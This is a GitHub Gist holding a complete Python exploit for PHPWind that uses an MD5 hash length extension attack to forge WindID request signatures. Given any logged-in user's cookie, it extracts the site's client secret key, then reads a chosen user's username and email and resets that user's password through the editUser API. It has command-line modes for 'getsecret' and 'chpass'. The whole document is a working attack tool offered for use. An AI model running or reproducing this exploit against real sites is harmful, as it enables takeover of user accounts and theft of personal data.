Created
May 26, 2016 07:13
-
-
Save RickGray/7dcaf8ddb3bddcb9d1d271c93b1d1b8c to your computer and use it in GitHub Desktop.
PHPWind Hash-Length-Extension-Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# author: RickGray | |
# update: 2016-05-25 | |
# >>>>>>>>>>> | |
# requests, hashpumpy modules required | |
# : pip install requests hashpumpy | |
import re | |
import json | |
import time | |
import hashlib | |
import argparse | |
import operator | |
import requests | |
import hashpumpy | |
def md5(s): | |
return hashlib.md5(str(s)).hexdigest() | |
def ksort(d): | |
sorted_d = sorted(d.iteritems(), key=operator.itemgetter(0)) | |
return sorted_d | |
def get_appkey(a, t, s, g, p): | |
array = ['windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', | |
'Filename', 'Upload', 'token', '__data'] | |
ss = '' | |
get = ksort(g) | |
post = ksort(p) | |
for k, v in get: | |
if k in array: | |
continue | |
ss += (str(k) + str(v)) | |
for k, v in post: | |
if k in array: | |
continue | |
ss += (str(k) + str(v)) | |
return md5(md5(a + '||' + s) + t + ss) | |
def get_clientid_and_secretkey(t, c): | |
def fetch_uid(p): | |
pattern = r'%26uid%3D(?P<uid>[0-9]{1,})%26' | |
result = re.search(pattern, p) | |
return result.group('uid') if result else None | |
def fetch_windidkey(p): | |
pattern = r'%26windidkey%3D(?P<windidkey>[a-f0-9]{32})' | |
result = re.search(pattern, p) | |
return result.group('windidkey') if result else None | |
def fetch_time(p): | |
pattern = r'%26time%3D(?P<time>[0-9]+)%26' | |
result = re.search(pattern, p) | |
return result.group('time') if result else None | |
def fetch_clientid(p): | |
pattern = r'%26clientid%3D(?P<clientid>.*?)%26' | |
result = re.search(pattern, p) | |
return result.group('clientid') if result else None | |
_ = t + '/index.php?m=profile&c=avatar&_left=avatar' | |
text = requests.get(_, headers={'Cookie': c}).content | |
uid = fetch_uid(text) | |
windidkey = fetch_windidkey(text) | |
rtime = fetch_time(text) | |
clientid = fetch_clientid(text) | |
if uid and windidkey and rtime and clientid: | |
print('[*] uid = %s' % uid) | |
print('[*] windidkey = %s' % windidkey) | |
print('[*] time = %s' % rtime) | |
print('[*] clientid = %s' % clientid) | |
origin = rtime + 'adoAvatarcavatarmapitypeflashuid{}uidundefined'.format(uid) | |
# a=get&c=app&m=api&id=1 str.=key+val ksort($POST) | |
padding = 'agetcappid1mapi' | |
fakehash, fakedata = hashpumpy.hashpump(windidkey, origin, padding, 32) | |
print('[*] fakehash = %s' % fakehash) | |
print('[*] fakedata = 0x%s' % fakedata.encode('hex')) | |
__ = t + '/windid/index.php' | |
params = { | |
origin.replace(rtime, ''): re.search(r'(\x80.*\x00)', fakedata).group(1), | |
'clientid': clientid, | |
'time': rtime, | |
'windidkey': fakehash, | |
} | |
data = dict(a='get', c='app', id='1', m='api') | |
response = requests.post(__, | |
params=params, | |
data=data, headers={'Cookie': c}) | |
print('[*] content = %s' % response.content) | |
secret = json.loads(response.content)['secretkey'] | |
return clientid, secret | |
else: | |
print('error in fetch data with content') | |
return None | |
def fetch_user_info(t, clientid, secret, uid): | |
_ = t + '/windid/index.php' | |
ctime = str(int(time.time())) | |
params = { | |
'userid': uid, | |
'time': ctime, | |
'clientid': clientid | |
} | |
data = dict(a='get', c='user', m='api') | |
appkey = get_appkey(str(clientid), ctime, secret, params, data) | |
params['windidkey'] = appkey | |
response = requests.post(_, params=params, data=data) | |
infos = json.loads(response.content) | |
username = infos['username'] | |
email = infos['email'] | |
print('[*] uid = %s' % uid) | |
print('[^] >>>>>>>>> username = %s' % username) | |
print('[^] email = %s' % email) | |
def change_user_password(t, clientid, secret, uid, password): | |
fetch_user_info(t, clientid, secret, uid) | |
_ = t + '/windid/index.php' | |
ctime = str(int(time.time())) | |
params = { | |
'time': ctime, | |
'clientid': clientid | |
} | |
data = dict(uid=uid, a='editUser', c='user', m='api', password=password) | |
appkey = get_appkey(str(clientid), ctime, secret, params, data) | |
params['windidkey'] = appkey | |
response = requests.post(_, params=params, data=data) | |
return response.content | |
def parse_args(): | |
parser = argparse.ArgumentParser() | |
subparsers = parser.add_subparsers(dest='mode') | |
getsecret = subparsers.add_parser('getsecret', help='get secret key value') | |
getsecret.add_argument('-c', '--cookie', dest='COOKIE', type=str, | |
help='the cookie logined with any user') | |
chpass = subparsers.add_parser('chpass', | |
help='change user password with secret key') | |
chpass.add_argument('-i', '--clientid', dest='CLIENTID', type=int, | |
help='the clientid windid used') | |
chpass.add_argument('-s', '--secretkey', dest='SECRETKEY', type=str, | |
help='the client secret key used') | |
chpass.add_argument('-u', '--uid', dest='UID', type=int, | |
help='the user uid you want to change') | |
chpass.add_argument('-p', '--password', dest='PASSWORD', type=str, | |
help='the password you want to change') | |
parser.add_argument(dest='TARGET', type=str) | |
return parser.parse_args() | |
if __name__ == '__main__': | |
args = parse_args() | |
if args.mode == 'getsecret': | |
target = args.TARGET | |
cookie = args.COOKIE | |
try: | |
cid, secretkey = get_clientid_and_secretkey(target, cookie) | |
if cid and secretkey: | |
print('') | |
print('[^] >>>>>>>>> secretkey = %s' % secretkey) | |
print('[^] clientid = %s' % cid) | |
except Exception as ex: | |
print('failed get secretkey, ("{}")'.format(str(ex))) | |
elif args.mode == 'chpass': | |
target = args.TARGET | |
cid = args.CLIENTID | |
key = args.SECRETKEY | |
u = args.UID | |
pp = args.PASSWORD | |
try: | |
res = change_user_password(target, cid, key, u, pp) | |
if res == '1': | |
print('') | |
print('[^] >>>>>>>>> succeed!') | |
print('[^] password = %s' % pp) | |
except Exception as ex: | |
print('failed change user password, ("{}")'.format(str(ex))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment